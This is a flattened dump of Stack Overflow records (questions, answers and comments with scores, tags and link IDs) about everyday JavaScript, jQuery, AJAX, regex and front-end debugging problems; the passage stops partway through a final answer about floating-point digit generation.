has body: Simple answer: Yes (for certain definitions of disable). You are completely free to exercise whatever forms of navigation control on your website, and create a series of once-only urls, which must be accessed in a specific order, thus rendering the back button useless. (you could even cause re-visiting these urls to return to a pre-defined homepage) Common misconceptions: You can use javascript to control a browser on a client. - You can't, there's no two ways about it, the javascript is out of your control and can be modified by a 7year-old (this is a conservative estimate based on experience, not expectation.), Preventing backwards navigation is always hacky and/or bad. Certain things should really attempt to do this better - Ever done an online quiz, or memory game? Solution: please note this will not disable the button, and will instead invalidate requests made to a 'previous' url Include a key in every request (which changes for every subsequent request), and is associated with the HttpSession, this could then be included in form submission - bear in mind, someone who knows what they're doing can still extract this and use it to travel backwards, so it is also worthwhile ensuring that your key can only be used for a specific subset of pages from your entire site (those allowed). Many easy ways to do this, personally I am a fan of primes and hashes. also note, refreshing a page with this could cause you grief if you have not considered your desired behaviour. Do so, and implement it.
downvote count: 0
score: 1

http://stackoverflow.com/q/25636151
has answer: http://stackoverflow.com/a/25636320
has comment: http://stackoverflow.com/comment/40054798
has body: I'm working with calling code behind functions from ajax call. I just created a method Post, it returns a list. I just want to check the values from client side. So simply out a alert message and pass response.d as a param. But it returns object, Object rather than actual values. I want to know the exact way to get the values? [WebMethod] public static List&lt;person&gt; Post() { List&lt;person&gt; List = new List&lt;person&gt;(); person p1 = new person(); p1.name = "Sourav"; p1.surname = "Kayal"; List.Add(p1); person p2 = new person(); p2.name = "Sourav"; p2.surname = "Kayal"; List.Add(p2); return List; } } public class person { public string name { get; set; } public string surname { get; set; } } &lt;script&gt; $(document).ready(function () { $.ajax({ type: "POST", url: "JavaScript.aspx/Post", contentType: "application/json; charset=utf-8", dataType: "json", success: function (response) { var names = response.d; alert(names); }, failure: function (response) { alert(response.d); } }); }); &lt;/script&gt;
has title: Calling code behind functions from ajax call and display item by item
type: Question
possible better answer: http://stackoverflow.com/a/25636434
has answer: http://stackoverflow.com/a/25636434
tagged with: javascript
score: 0
answer count: 3
has answer: http://stackoverflow.com/a/25636494
tagged with: asp.net
tagged with: ajax
type: AnsweredQuestion
accepted answer: http://stackoverflow.com/a/25636494

http://stackoverflow.com/a/25645536
has body: As other answers say, $3 indicates the third captured subpattern, ie. third set of parentheses. Personally, however, I would see that as two operations, and do it as such: Trim leading and trailing -s Condense duplicate -s Like so: "----asdas----asd-as------q---".replace(/^-+|-+$/g,"").replace(/--+/g,"-"); This kind of concept may mean more code, but I believe it makes it much easier to read and understand what's going on here, because you're doing one thing at a time instead of trying to do everything at once.
upvote count: 2
type: Answer
score: 2
downvote count: 0
answers question: http://stackoverflow.com/q/25645419

http://stackoverflow.com/comment/40046547
comment on: http://stackoverflow.com/q/25631372
score: 0
type: Comment
type: QuestionComment
has text: Wow, it's like 1999 all over again! You can probably get the line break by using \n, but given that it is showtext, and not showhtml, it probably won't take a link (that is actually clickable). In all seriousness, this coding style is 10+ years obsolete and I would highly suggest re-thinking what you are building with a more modern approach.

http://stackoverflow.com/comment/39956149
type: Comment
type: QuestionComment
has text: what effort have you made?
score: 0
comment on: http://stackoverflow.com/q/25582204

http://stackoverflow.com/comment/40105219
score: 0
has text: possible duplicate of [Ways to circumvent the same-origin policy](http://stackoverflow.com/questions/3076414/ways-to-circumvent-the-same-origin-policy)
type: Comment
type: QuestionComment
comment on: http://stackoverflow.com/q/25664294

http://stackoverflow.com/comment/40046913
type: Comment
score: 0
has text: your local time must be past midnight in england. pass a local time as well, or use the local features, like format()
type: QuestionComment
comment on: http://stackoverflow.com/q/25631682

http://stackoverflow.com/a/25640480
has comment: http://stackoverflow.com/comment/40098401
answers question: http://stackoverflow.com/q/25640050
score: 0
upvote count: 1
downvote count: 1
type: Answer
has body: Try this function checkbox() { var list=document.getElementsByClassName("InstallType"); for(var i = 0; i &lt; list.length; i++){ if(list[i].checked){ return true; } } alert('One or more radio buttons/checkboxes are not selected.Please select return false; } And give unique id to your input like &lt;input id="${lineInstallType}" type="checkbox" name="${lineInstallType}" value="${lineInstallType}" class="InstallType"/&gt; if ${lineInstallType} this is not unique then use i with increment in iteration for id.

http://stackoverflow.com/a/25660507
answers question: http://stackoverflow.com/q/25660325
score: 0
has body: so just substring and add your dots, simple ways are the best : var myTimeStr = '400', hours = myTimeStr.substring(0, myTimeStr.length-2), mins = myTimeStr.substring(myTimeStr.length-2), res = hours + ':' + mins;
type: Answer

http://stackoverflow.com/comment/40066032
has text: http://plnkr.co/edit/Xpsdt2DCVXGtwZ08KXEZ
type: Comment
type: QuestionComment
comment on: http://stackoverflow.com/q/25642552
score: 1

http://stackoverflow.com/comment/39937489
type: AnswerComment
has text: What you mean by create the file first? im sorry
score: 0
type: Comment
comment on: http://stackoverflow.com/a/25570763

http://stackoverflow.com/comment/39901520
comment on: http://stackoverflow.com/q/25553160
has text: @MarcB how i can do that?
score: 0
type: QuestionComment
type: Comment

http://stackoverflow.com/a/25638534
has comment: http://stackoverflow.com/comment/40059269
type: Answer
has body: If you can use jQuery you can handle the onchange event more easily for each select field as follows, $('#p_langue1').on('change', function() { var selectedOption = $(this).val(); if(selectedOption === 'B') { $('#p_langue1').addClass('point_langue'); } else { $('#p_langue1').removeClass('point_langue'); } }); otherwise you can set the 'onchange' event for select and in javascript, function onSelectChange() { var selectedOption = document.getElementById("p_langue1").value; if(selectedOption === 'B') { document.getElementById("p_langue1").setAttribute('class','point_langue'); } else { document.getElementById("p_langue1").removeAttribute('class',''); } }
downvote count: 0
score: 1
answers question: http://stackoverflow.com/q/25638289
upvote count: 1

http://stackoverflow.com/q/25664783
tagged with: http://stackoverflow.com/tag/html
has comment: http://stackoverflow.com/comment/40107396
has comment: http://stackoverflow.com/comment/40110450
answer count: 0
type: UnansweredQuestion
has comment: http://stackoverflow.com/comment/40108516
has body: I've created a drop-down menu which will be used multiple times within the webpage. Now I want to use it in a form. How can I to pass the values from the drop-down menu? Common drop-down menu: Appending in to #InputsWrapper: $('#InputsWrapper').append(inWrap).append( $($('#dm').html()).attr('dd', newdm) ); Getting out the values on changed: $(document).on('change', 'newdm', function(e) { $('#nameWrap').val($(this).val()); });
has comment: http://stackoverflow.com/comment/40109171
has comment: http://stackoverflow.com/comment/40108907
has title: Passing values to a form from a common drop-down menu
type: Question
has comment: http://stackoverflow.com/comment/40108707
tagged with: javascript
tagged with: jquery
has comment: http://stackoverflow.com/comment/40107600
has comment: http://stackoverflow.com/comment/40108703
score: 0
has comment: http://stackoverflow.com/comment/40107930

http://stackoverflow.com/a/25824190
score: 2
has comment: http://stackoverflow.com/comment/86042900
upvote count: 4
has comment: http://stackoverflow.com/comment/76185885
has body: Well, there is a easy library for that. Although there's nothing official how to listen on dimension changes of all types of elements and only window supports it at the moment we have luckily a polifill for that that works very accurate and supports all browsers even inclusive IE6+. https://github.com/marcj/css-element-queries You can find there a class ResizeSensor. To setup a listener on a element you can just do: new ResizeSensor($('.myelements'), function() { console.log('changed'); });
answers question: http://stackoverflow.com/q/25679784
downvote count: 2
type: Answer

http://stackoverflow.com/comment/40177909
type: QuestionComment
score: 1
comment on: http://stackoverflow.com/q/25703925
has text: Well my phone anyway won't actually start dialing until I confirm. I tried using a hidden ` ` but that didn't work.
type: Comment

http://stackoverflow.com/comment/40018566
comment on: http://stackoverflow.com/q/25616288
score: 0
type: Comment
has text: Create a jsfiddle please. And we will help you..
type: QuestionComment

http://stackoverflow.com/q/25689265
has answer: http://stackoverflow.com/a/25689395
accepted answer: http://stackoverflow.com/a/25689395
type: AnsweredQuestion
type: Question
answer count: 2
has answer: http://stackoverflow.com/a/25689384
has title: Binary function equivalence - demethodize
tagged with: javascript
score: 0
has body: I was watching a Pluralsight video from Douglas Crockford: http://pluralsight.com/training/Courses/TableOfContents/javascript-good-parts In this video he goes through a number of interesting exercises to demonstrate some javascript principals. When he gets to the 'demethodize' function you basically have the following code sample: function add(x,y){ return x + y; } //add(1,2) =&gt; 3 function methodize(fn){ return function(x){ return fn(this, x); }; }; Number.prototype.Add = methodize(add); //(1).Add(2) =&gt; 3 function demethodize (fn){ return function(x,y){ return fn.call(x,y); }; } var newAdd = demethodize(Number.prototype.Add); // newAdd(1,2) =&gt; 3 Note that this 'demethodize' function is for binary functions only. My question is that, according to my understanding, the following should result in an equivalent 'demethodise' functions: function demethodize (fn){ return fn.call; } or var demethodize = Number.prototype.Add.call; But these functions do not work (given the same binary function requirement)! Why is this? Please help me fill the gap in my understanding. I had thought that if I had a binary function whose implementation contained another binary function call with the same arguments passed to the inner function, then using the inner function call directly would be equivalent.
possible better answer: http://stackoverflow.com/a/25689384

http://stackoverflow.com/comment/40014745
type: QuestionComment
comment on: http://stackoverflow.com/q/25614235
score: 0
has text: thanks guys. This is a good first step
type: Comment

http://stackoverflow.com/a/25551060
downvote count: 0
score: 1
upvote count: 1
has body: You can use joker on selector like that : $('input[id^=save]').click(function(){ More details here : http://api.jquery.com/category/selectors/ Then you can get the number like that : var contentID = $(this).attr('id').replace('save', 'content'); $edit = $('#'+contentID).html(); $cid = $(this).attr('id').replace('save', ''); or with a regex to get lasts digits.
type: Answer
answers question: http://stackoverflow.com/q/25550867

http://stackoverflow.com/a/25670691
answers question: http://stackoverflow.com/q/25670618
type: Answer
accepted answer of: http://stackoverflow.com/q/25670618
score: 3
has body: you don't need to run cycle in this case, you just save "pointer" - curentImage and call next array item through function ever 2 sec var curentImage = 0; function getNextImg(){ var url = lis[curentImage]; if(lis[curentImage]){ curentImage++; } else { curentImage = 0; } return url; } var timeout = setInterval(function(){ $("#imagen").attr("src", getNextImg()); }, 2000)
downvote count: 0
upvote count: 3
type: AcceptedAnswer

http://stackoverflow.com/comment/40065224
type: Comment
type: QuestionComment
comment on: http://stackoverflow.com/q/25641746
has text: @Regent, thanks that solved it. :), src="/public/jquery.js?v=b9f058cf2f"> was causing the problem
score: 0

http://stackoverflow.com/q/25621615
tagged with: http://stackoverflow.com/tag/json
type: Question
tagged with: google-visualization
accepted answer: http://stackoverflow.com/a/25677898
tagged with: javascript
score: 0
has body: edit: Solved thanks to asgallant. See below for the answer. this is my first question, I'm fairly new to programming and I'm hoping to find some answers on here. I'm trying to create a dashboard with the Google Visualization API to show a table and a search box to search for usernames which is working fine. But I would like to keep the first and last name separated in 2 columns so that they can be sorted by either first or last name but in the searchbox I want to be able to search for either name. Since the StringFilter cannot search multiple columns, I've created another column which combines the 2 names and bound it to the StringFilter. So far so good. Now I want to hide the column that combines first and last name in the table but still be able to use the StringFilter to search that hidden column. After searching quite a bit on this website as well as others, I couldn't find a solution to my problem. It seems like this should be possible with the DataView but I couldn't get it to work. The hiding works fine with a DataView but as soon as the column is hidden, I get an error saying that the StringFilter option 'filterColumnIndex' should be in the range 0-4 because column 5 is hidden. I've tried it already with dashboard.draw(view, options: {view: [0,1,2,3,4]}); and dashboard.draw(view, options: {data: [0,1,2,3,4]}); Is this even possible? Any help would be appreciated! Thanks for your time. Here is my code so far: function DrawDashboard() { $.ajax({ url: "/report/toverview/rest/router.php/user/", dataType: 'json' }).done(function (result) { //------------------------------------------------------------------// // Create and populate the data table. //------------------------------------------------------------------// var data = new google.visualization.DataTable(); data.addColumn('number', 'ID'); data.addColumn('string', 'TU-ID'); data.addColumn('string', 'Vorname'); data.addColumn('string', 'Nachname'); data.addColumn('string', 'E-Mail'); data.addColumn('string'…
has answer: http://stackoverflow.com/a/25677898
has comment: http://stackoverflow.com/comment/40119202
answer count: 1
has title: Google Visualization - Hide Column in a table that is part of a dashboard but still be able to use the underlying data for a StringFilter
tagged with: dataview
tagged with: datatable
type: AnsweredQuestion

http://stackoverflow.com/q/25658010
tagged with: http://stackoverflow.com/tag/html
has comment: http://stackoverflow.com/comment/40094714
type: AnsweredQuestion
has comment: http://stackoverflow.com/comment/40094776
upvote count: 1
type: Question
has answer: http://stackoverflow.com/a/25658406
score: 1
tagged with: browser
tagged with: printing
downvote count: 0
answer count: 1
has body: I have an online viewer(popup) where Images are displayed in a div, along with some buttons to zoom in/out or rotate the image. Now I want to print the image programatically on certain user action. Is there any option to print just the from the browser or to print from a stream. I can't install extra plugins on the browser to accomplish this. If not printing an image directly, can I somehow print the image if I convert it into pdf before printing? I have tried finding a solution for this but the only thing I could find was javascript's window.print() function.The problem is that it will print the entire page including the buttons if I use it. I just want to print the image.
tagged with: javascript
tagged with: jquery
accepted answer: http://stackoverflow.com/a/25658406
has title: Printing from a stream in the browser using javascript
favorite count: 0

http://stackoverflow.com/comment/40158382
comment on: http://stackoverflow.com/q/25691225
type: QuestionComment
score: 0
type: Comment
has text: Yes, as long as you target IE9 or greater. Otherwise, you can just do `document.getElementById("player").onended = function ...`

http://stackoverflow.com/q/25650275
tagged with: icanhaz.js
favorite count: 0
type: UnansweredQuestion
tagged with: mustache
answer count: 0
has body: One of our clients is having trouble loading our website content stored in ICanHaz Templates. Script tag(s) like the following are completely missing from the source code when rendered to the browser. &lt;script id="myTemplate" type="text/html"&gt; .... &lt;/script&gt; This is causing a javascript error when calling ich.myTemplate(templateData); As well, calling ich.grabTemplates() doesn't work because no templates are rendered. We have over 250 clients and only 1 of them is reporting this issue. The templates are loaded from the same domain as the rest of the site. It is occurring in both the IE 9 &amp; 10 and the latest version of Chrome on their machines. OS - Windows 7. We are thinking this is an Internet Options setting/Browser setting/firewall issue. Any ideas? Having trouble reproducing. Thanks, Matt
upvote count: 1
has comment: http://stackoverflow.com/comment/40124622
type: Question
score: 1
has title: ICanHaz Templates Blocked/Filtered in Browser
has comment: http://stackoverflow.com/comment/40154004
downvote count: 0
tagged with: javascript

http://stackoverflow.com/comment/40100382
comment on: http://stackoverflow.com/a/25660893
has text: I looked up some info on the console.info() function, this is not standard, could this be the problem? It works if I change it to an alert() or if I fire up the console.
score: 0
type: AnswerComment
type: Comment

http://stackoverflow.com/comment/39908948
type: QuestionComment
has text: @mini I suppose so, what about a chrome extension?
comment on: http://stackoverflow.com/q/25556950
score: 0
type: Comment

http://stackoverflow.com/comment/39997932
comment on: http://stackoverflow.com/a/25603083
has text: thank you for the answer, but this code will only change the class of the 5 buttons, will not show the img1, img2...img5. I need something to know what button is active from those five.
type: AnswerComment
score: 0
type: Comment

http://stackoverflow.com/a/25661926
answers question: http://stackoverflow.com/q/25659482
score: 0
has body: To avoid using different command prompts, you may use some "launcher", such as foreveror pm2. With these, you can run your JS files like this: forever start myJsFile1.js forever start myJsFile2.js forever start myJsFile3.js and you can view some stats about your files with forever list. Documentations: forever on npm pm2 on npm Another way to get your prompt clean is to put the process in background right after you start it. It will avoid you to start new prompts. node myJsFile1.js &amp; node myJsFile2.js &amp; node myJsFile2.js &amp; But, if you really want to launch your files at the same time exactly, I don't understand how your program works. Because, you can just start one file and require the others or use them in your main file in some way.
type: Answer

http://stackoverflow.com/a/25551259
upvote count: 1
type: AcceptedAnswer
downvote count: 0
has body: the image should be sent to the server in post data that the server thens saves to a directory in the server good idea to also list the image src url in the database for quick retrival and use.
answers question: http://stackoverflow.com/q/25550851
type: Answer
score: 1
accepted answer of: http://stackoverflow.com/q/25550851

http://stackoverflow.com/a/25582895
has body: The second parameter of the executeScript function takes an InjectDetails https://developer.chrome.com/extensions/tabs#type-InjectDetails object, you can't put an if statement in there. You can have the if statement return an object literal, such as chrome.webNavigation.onCompleted.addListener(function(o) { chrome.tabs.executeScript(o.tabId, if (a == b) return { file: "test.js" } ); }
has comment: http://stackoverflow.com/comment/39957371
score: 0
answers question: http://stackoverflow.com/q/25582784
type: Answer

http://stackoverflow.com/q/25558310
has body: Suppose I have core.js var ajax = function(){}; var something = function(){super}; var globalconstant = 5; var someutilitymodule = { onekey: something; twokey: something; } If I include this in my file as &lt;script src="core.js"&gt; 1) I pollute the global namespace 2) Might [replace/get replaced by] another variable . However won't making it an Object solve the problem ? I.e I make core.js like this core = { ajax : function(){}, something : function(){super}, globalconstant : 5, someutilitymodule = { onekey: something; twokey: something; } } What is the fundamental problem in this approach ? Is it because that you can't access other items until the full Object is created ? Like for example core = {a:"Foo" , b:a} won't work ? However I could solve it by core = {}; core.a="Foo"; core.b=core.a; Why do we have to get into IIFE(Immediately Invoked Function Expression) if we are not really interested in closures ? For "module namespace" in Javascript that doesn't mind having everything public in a different namespace , won't this approach work and create Module effect in Javascript ? Are there any pointers to read more on this ? I know its a bit vague but I am new to this concepts like IIFE requirejs etc . So trying to understand from a newbie perspective .
has comment: http://stackoverflow.com/comment/39911405
has comment: http://stackoverflow.com/comment/39911831
has comment: http://stackoverflow.com/comment/39912978
has comment: http://stackoverflow.com/comment/39911886
type: Question
has answer: http://stackoverflow.com/a/25566263
has comment: http://stackoverflow.com/comment/39912437
tagged with: javascript
has comment: http://stackoverflow.com/comment/39912073
has comment: http://stackoverflow.com/comment/39911466
score: 0
tagged with: iife
answer count: 1
has comment: http://stackoverflow.com/comment/39911619
has comment: http://stackoverflow.com/comment/39911564
has comment: http://stackoverflow.com/comment/39912040
tagged with: modular-design
linked to: http://stackoverflow.com/q/1600130
type: UnansweredQuestion
has comment: http://stackoverflow.com/comment/39925383
has title: Why do we need IIFE's to have module scoping in Javascript?

http://stackoverflow.com/q/25614714
tagged with: google-maps
has title: Issues installing angular-google-maps
answer count: 1
tagged with: angularjs
type: UnansweredQuestion
has answer: http://stackoverflow.com/a/25679468
tagged with: bower
type: Question
tagged with: javascript
has body: When installing angular-google-maps my whole site breaks and I get errors from http://errors.angularjs.org/1.2.23/$injector/nomod?p0=ngTable The 2 main errors say Cannot read property 'OverlayView' of undefined Module ngTable is not available .... This happens as soon as I install the framework without me doing anything else, the command I run is bower install angular-google-maps --save This is the first thing I've ever installed with bower on my own so there might be something I am not doing.
score: 0

http://stackoverflow.com/q/25698977
score: 1
possible better answer: http://stackoverflow.com/a/25699088
type: Question
downvote count: 0
tagged with: javascript
accepted answer: http://stackoverflow.com/a/25699237
has answer: http://stackoverflow.com/a/25699116
has answer: http://stackoverflow.com/a/25699107
has title: Regex to exclude URL's
tagged with: regex
answer count: 4
favorite count: 0
has comment: http://stackoverflow.com/comment/40172017
has body: I am trying to create a JavaScript program to replace certain patterns of text with links. However due to some of the patterns existing within a URL on the page it blocks the URL links. I am specifically looking to exclude the pattern if it is contained within a URL so for example here is my current Regex code. $els.replaceText(/(\bX00[A-Z0-9]{7}\b)/gi, '&lt;span class="context context_ident"&gt;$1&lt;\/span&gt;'); Some Example Text: item :X00132BhJk www.domain.com/X00132BhJk www.domainsearch.com/search?ident=X00132BhJk X00132BhJk X00132BhJk The Italic References should be selected and replaced however the references contained within the domain should not. The issue I have been having is when the reference. Initially I tried \sX00[A-Z0-9]{7}\s but when the reference appears on the far left of the page (First word in the sentence) it doesn't get selected. Equally so it does not select if a full stop follows or a colon precedes. Is there a way to specifically exclude URL's by excluding / ? and = from being the immediate preceding character but select in all other cases?
upvote count: 1
has answer: http://stackoverflow.com/a/25699088
linked to: http://stackoverflow.com/q/22937618
has answer: http://stackoverflow.com/a/25699237
type: AnsweredQuestion

http://stackoverflow.com/q/25601865
tagged with: javascript
favorite count: 0
tagged with: security
answer count: 3
tagged with: eval
possible better answer: http://stackoverflow.com/a/28011028
linked to: http://stackoverflow.com/q/939326
has answer: http://stackoverflow.com/a/28011028
has body: I need to run a Javascript function that is completely written by the user. I provide him a skeleton, but the details are for him to specify, e.g. function main(model, console) { // the user can enter anything here // ideally, he would only be allowed to // use the methods that "model" and "console" provide, e.g. var item = model.getItems(); console.log("Found " + item.length + " items."); } For the application to work, the user only needs to access methods and properties of the parameters (he explicitely doesn't require document or window access or send XMLHttpRequests). I have already read several articles about the eval() function and how you can use it to run code. I also read other articles on StackOverflow (how jsFiddle runs code, eval in general, etc.), but I'm still not sure how to do it properly. First of all: what are the real issues of eval()? What can an attacker do and how can you prevent it (with whitelists, blacklists or user input sanitizing libraries)? Can anyone explain in depth how jsFiddle and such websites execute user input?
accepted answer: http://stackoverflow.com/a/25602815
has comment: http://stackoverflow.com/comment/39992024
score: 6
upvote count: 7
downvote count: 1
has comment: http://stackoverflow.com/comment/39992141
type: AnsweredQuestion
has answer: http://stackoverflow.com/a/76688840
tagged with: jsfiddle
has comment: http://stackoverflow.com/comment/39992112
type: Question
has title: How to run user-provided Javascript without security issues (like jsFiddle, jsBin, etc.)?
linked to: http://stackoverflow.com/q/8004001
has answer: http://stackoverflow.com/a/25602815

http://stackoverflow.com/comment/64288270
type: AnswerComment
has text: Hi, The solution seems like to have been accepted bt it might be because its been a while but I am getting 404 error on two of the javascripts... Could anyone please comment with the correct js URLs?
type: Comment
score: 0
comment on: http://stackoverflow.com/a/25632935

http://stackoverflow.com/q/25597620
has body: Could someone please help me to get the onmoseover event to hold the display:block; behavior until I've onmouseover a different event? In other words I would like to keep an event visible until I've onmouseover a different event. I fill the answer is a simple one. I'm 2 days new to javascript. CSS .box { width: 900px; height: auto; margin-top: 20px; padding: 0px 0px 15px 0px; border: 5px solid black; margin-left: auto; margin-right:auto; } HTML some text1 some text2 some text3 paragraph of content for sometext1 paragraph of content for sometext2 paragraph of content for sometext3
favorite count: 0
type: Question
tagged with: onmouseover
has answer: http://stackoverflow.com/a/25597869
upvote count: 1
answer count: 1
has title: How do I get onmouseover swap events to hold through onmouseout until the next onmouseover event?
tagged with: javascript
type: UnansweredQuestion
downvote count: 0
score: 1

http://stackoverflow.com/comment/40056936
comment on: http://stackoverflow.com/a/25622659
score: 0
type: AnswerComment
has text: @Baz I have calculated the Euclidian distance, line # 70 in [this fiddle](http://jsfiddle.net/rdesai/5wssqqdw/3/). The radius of constraint minus the radius of the small circle is `180`. I didnt get how you mean to compare this. Also, what do I set the `px` and `py` of the smaller circle to?
type: Comment

http://stackoverflow.com/q/25674782
has comment: http://stackoverflow.com/comment/40124881
score: 1
linked to: http://stackoverflow.com/q/2305654
type: Question
linked to: http://stackoverflow.com/q/8461851
accepted answer: http://stackoverflow.com/a/25699984
answer count: 2
has body: I am trying to use native javascript to append a string of html to a target div. This works fine using: var selector = document.getElementById('divid'); var str = ' string of html content '; selector.innterHTML += str; Except whenever the document contains an iframe it seems to hide the frame when appending the innerhtml. I tried a work around as follows: var selector = document.getElementById('divid'); var str = ' string of html content '; var div = document.createElement('div'); div.innerHTML = str; selector.appendChild(div); This works but now I am creating an unnecessary div container, is there a way to do this without creating a new element that won't erase the iframe?
downvote count: 0
tagged with: javascript
has title: native javascript equivalent to jquery.append when iframes are present
favorite count: 0
possible better answer: http://stackoverflow.com/a/25675004
has answer: http://stackoverflow.com/a/25675004
has answer: http://stackoverflow.com/a/25699984
upvote count: 1
type: AnsweredQuestion

http://stackoverflow.com/comment/39917113
type: QuestionComment
has text: self hosted am using jquery-2.0.3.min.js
score: 0
comment on: http://stackoverflow.com/q/25561425
type: Comment

http://stackoverflow.com/comment/40193433
comment on: http://stackoverflow.com/a/25712357
score: 0
type: Comment
has text: it was a very lucky typo - i first left it out - it didn't work - i then added it - and it worked - then i added the closing /> (which i forgot first) and it didn't work again
type: AnswerComment

http://stackoverflow.com/comment/39914056
score: 0
type: AnswerComment
type: Comment
has text: this makes sense to me and now the console is logging adjust_geo, remove_stickies, deposit_fluoros in the correct order. Yet the functions themselves still appear to be executing in the wrong order. Is it possible that the callbacks inside of the functions are executing before that main code block (Plasma.Hose. ....) finishes?
comment on: http://stackoverflow.com/a/25556390

http://stackoverflow.com/comment/40124846
type: Comment
has text: As far as I know, no.
comment on: http://stackoverflow.com/a/25674899
score: 0
type: AnswerComment

http://stackoverflow.com/q/25620334
tagged with: javascript
tagged with: jquery
favorite count: 0
has answer: http://stackoverflow.com/a/25620931
has title: CSS is not loading properly on mac OS safari and chrome
tagged with: http://stackoverflow.com/tag/html
tagged with: css
has answer: http://stackoverflow.com/a/41355842
downvote count: 0
type: UnansweredQuestion
has answer: http://stackoverflow.com/a/25620846
type: Question
tagged with: safari
score: 1
has body: For the website i made CSS is not loading properly for Apple devices. I maintained all the media query statements and style sheets separately. Hence it is not displaying properly in MAC OS safari and chrome. But rest all browsers and devices is fine. link: referencelink &lt;link href="css/mobile.css" rel="stylesheet" media="screen and (max-width: 390px)" /&gt; &lt;link href="css/mobile.css" rel="stylesheet" media="screen and (min-width: 391px) and (max-width: 500px)" /&gt; &lt;link href="css/mobile.css" rel="stylesheet" media="screen and (min-width: 501px) and (max-width: 768px)" /&gt; &lt;link href="css/medium.css" rel="stylesheet" media="screen and (min-width: 769px)" /&gt; This query only i maintained for fluidity. Guys help me out
answer count: 3
upvote count: 1

http://stackoverflow.com/comment/39926071
comment on: http://stackoverflow.com/a/25566385
type: Comment
score: 1
has text: you could just say `ax2 = ax.map(parseInt)`
type: AnswerComment

http://stackoverflow.com/comment/39919641
type: Comment
comment on: http://stackoverflow.com/a/25562826
score: 0
has text: You also need to specify the *heighlight* class.
type: AnswerComment

http://stackoverflow.com/comment/40067471
type: Comment
type: AnswerComment
comment on: http://stackoverflow.com/a/25642933
score: 0
has text: well spotted: I had forgotten the "var".

http://stackoverflow.com/comment/40148145
type: QuestionComment
comment on: http://stackoverflow.com/q/25688005
type: Comment
has text: Of course, you're limiting it to 1000 results, `mainQuery.limit(1000);`
score: 0

http://stackoverflow.com/comment/40764401
comment on: http://stackoverflow.com/a/25666083
score: 0
type: AnswerComment
has text: I am able to get this right by using some plugin, but i dont want to do that. Can you please help me in this without using a plugin? I tried increasing the time as well inside setTimeout().
type: Comment

http://stackoverflow.com/a/25691815
has comment: http://stackoverflow.com/comment/44686916
accepted answer of: http://stackoverflow.com/q/25691693
type: AcceptedAnswer
score: 0
upvote count: 1
downvote count: 1
type: Answer
has body: Here you can download... https://github.com/lodash/lodash You always have new ver on github...
answers question: http://stackoverflow.com/q/25691693

http://stackoverflow.com/q/25577653
tagged with: javascript
has title: Date formatter function gives me a negative number
score: 0
type: UnansweredQuestion
has answer: http://stackoverflow.com/a/25577744
has body: I have this piece of code function dateFormatter(date) { var seconds = Math.floor((new Date() - date) / 1000); var interval = Math.floor(seconds / 31536000); if (interval &gt; 1) { return interval + " Years Ago "; } interval = Math.floor(seconds / 2592000); if (interval &gt; 1) { return interval + " Months Ago "; } interval = Math.floor(seconds / 86400); if (interval &gt; 1) { return interval + " Days Ago "; } interval = Math.floor(seconds / 3600); if (interval &gt; 1) { return interval + " Hrs ago "; } interval = Math.floor(seconds / 60); if (interval &gt; 1) { return interval + " mins ago "; } return Math.floor(seconds) + " seconds ago"; } it works fine but for some of the times it gives me a negative number, i'm fetching last tweets from twitter and wanna custom date. right now i have a tweet with 21:08:49 GMT-0400 (EDT) date but what i'm getting is -4733 SECONDS AGO Any idea what's going on here? Any help would be appreciated. Updated code: var d = new Date(g[b].getAttribute("datetime").replace(/-/g, "/").replace("T", " ").split("+")[0]),
tagged with: twitter
type: Question
answer count: 1

http://stackoverflow.com/q/25649025
upvote count: 1
has answer: http://stackoverflow.com/a/25649161
score: 1
type: Question
downvote count: 0
answer count: 1
tagged with: javascript
favorite count: 0
has title: Firefox Plugin SDK - getElementsByTagName
tagged with: firefox-addon-sdk
type: UnansweredQuestion
has body: i have some problems with my plugin for Firefox. I created a contextmenu, which works fine. But this function dosen't return the content of the Meta-Tag. var tabs = require("sdk/tabs"); var contextMenu = require("sdk/context-menu"); [..] onMessage: function () { pageWorker = require("sdk/page-worker").Page({ contentScript: "self.postMessage(document.head.getElementsByTagName('meta'));", contentURL: tabs.activeTab.url, onMessage: function(metaTags){ var text= ""; console.log(metaTags.length); for(var i = 0; i &lt; metaTags.length; i++){ if(metaTags[i].getAttribute("property") == "description"){ text = metaTags[i].getAttribute("content"); break; } } console.log(text); } }); } console.log(metaTags.length) return undefined. It's a Firefox-SDK problem. Cause the Skript works fine in jsfiddle or greasemonkey.

http://stackoverflow.com/comment/40171129
type: AnswerComment
comment on: http://stackoverflow.com/a/25690131
type: Comment
has text: Unfortunately, attempting to bind two different vertex shaders yields the following warning: `WebGL: INVALID_OPERATION: attachShader: shader attachment already has shader`; depending on the order I attach the fragment shaders, either the one for colors or the one for textures has an exit status of -1 for the call to `gl.getAttribLocation()`... any hints?
score: 0

http://stackoverflow.com/comment/39941828
score: 0
type: Comment
type: QuestionComment
has text: @user3339242 Be aware that `id`s must be unique. I would get rid of them and use the selector `#menu_wrap > li > a`
comment on: http://stackoverflow.com/q/25572435

http://stackoverflow.com/comment/40114834
has text: @enjoimark Java and JavaScript are two ENTIRELY different things.
type: QuestionComment
comment on: http://stackoverflow.com/q/25669380
type: Comment
score: 1

http://stackoverflow.com/a/25648543
score: 5
type: AcceptedAnswer
downvote count: 0
type: Answer
has body: For the particular case you show, it looks as though digits are being generated using the following naive algorithm, starting with x = .1. Multiply x by 3. Extract the integer and fractional parts of the result. Output the integer part as a digit, and replace x with the fractional part. Repeat steps 1 to 3 until bored (or until some preset limit is achieved). This would work just fine mathematically, but in the world of floating-point this is utter nonsense, of course, since the multiplication by 3 and subsequent round to the nearest floating-point number potentially introduces a small error, and after 30 digits or so the error has completely swamped the original digits, and we're just getting garbage. Presumably there's also some way of handling the digits before the point for the case where the initial number is larger than 1.0 in absolute value, but without sample output, I'm not going to guess what that algorithm is. To justify the above, here's some code in Python whose output exactly matches that given in the question. Here, modf is the operation that extracts the fractional and integral parts of a Python float. &gt;&gt;&gt; from math import modf &gt;&gt;&gt; x = 0.1 &gt;&gt;&gt; digits = [] &gt;&gt;&gt; for _ in xrange(1099): ... x, digit = modf(3.0 * x) ... digits.append(str(int(digit))) ... &gt;&gt;&gt; print('0.' + ''.join(digits)) And the output: 